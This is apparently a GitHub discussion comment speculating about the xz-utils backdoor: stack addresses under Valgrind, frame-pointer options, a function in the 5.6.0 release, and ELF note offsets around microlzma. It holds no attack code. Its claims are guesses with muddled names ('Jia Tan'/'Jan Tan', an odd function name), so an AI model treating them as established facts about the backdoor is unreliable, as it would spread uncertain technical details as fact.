I'm mainly curious about the strange stack addresses like 0x6 and 0x77AD31E59B84CFFF. The persons responsible did try to cover up by adding an option to turn off omit-frame-pointer. Does the exploit assume the use of the frame pointer, and if it isn't there gets the stack layout wrong and writes below the stack pointer? (Below literally means below as in address less than RSP, not from the inverted view of the grow-down stack. But not as far below as the stack guard). omit-frame-pointer may also be affecting Valgrind's stack walking.

When we talked it out, the function that was doing this nuke (microlzma is what Jia Tan wants to raise during init), did not supply a size when it entered the loop to start writing 0x00 into a stack area.

This function, lzma_stream_header_encodb, is not in the 5.6.1 .o release, it only appears in the 5.6.0; hence the theory that a mistake in the feature flags for the build did not completely strip out the setup for a debug/examine tool (which would have reported out the progress of the locator and possibly also brought in a more comprehensive debug/examine tool as an option). My guess is that it's not a mistake in the offsets calculations (there is a whole DASM library inside the malware), but a way to quickly patch the obfuscations in while still making sure that the hotloading core code stays functional.

Jan Tan needed someway to know that he landed on all the jump calls needed to patch libcrypto.

Further: The final 5.6.1 has an insert in the ELF table for a note area that is moving all the bytes down 0x26, and throwing the asm dumps into diff shows a heavy amount of offset changes in microlzma, the gateway to the backdoor.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment